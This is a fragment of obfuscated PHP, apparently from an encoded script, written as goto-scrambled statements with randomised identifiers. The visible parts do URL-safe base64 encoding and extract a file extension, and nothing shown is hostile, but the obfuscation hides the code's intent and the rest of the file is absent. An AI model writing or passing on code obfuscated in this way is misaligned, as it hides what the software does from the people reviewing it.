goto XHgT2c75sRe5xPt3; no3aNOgb1r2foxNS: return rtrim(strtr(base64_encode($QbUW2uM1jAoGj9GF), "\53\x2f", "\55\x5f"), "\x3d"); goto dCiNZkos9SQYj65j; X9OHZVmt7V2IQtnG: return ''; goto gNWHkaDq6FYZcGSQ; gNWHkaDq6FYZcGSQ: nhjb89IrdrxPj2Nm: goto no3aNOgb1r2foxNS; XHgT2c75sRe5xPt3: if ($QbUW2uM1jAoGj9GF) { goto nhjb89IrdrxPj2Nm; } goto X9OHZVmt7V2IQtnG; dCiNZkos9SQYj65j: } goto RiAmju6skrcsYlhc; Z7kp4VsTFLsT7R2b: if ($jeCpfwJzH7oA6naU) { goto VDxa1NqxcYoLQhJ8; } goto rrlci8qvWF9Kjh1g; jD9XLQPuybjwwD1S: $r6DFz1ioFG3O3NP_ = substr($W9hApZvZIcbebiur, strpos($W9hApZvZIcbebiur, "\56")); goto gt6pDZ18dct2F3Fy; JaO_Ufh82Lx_ah18: VDxa1NqxcYoLQhJ8: ?>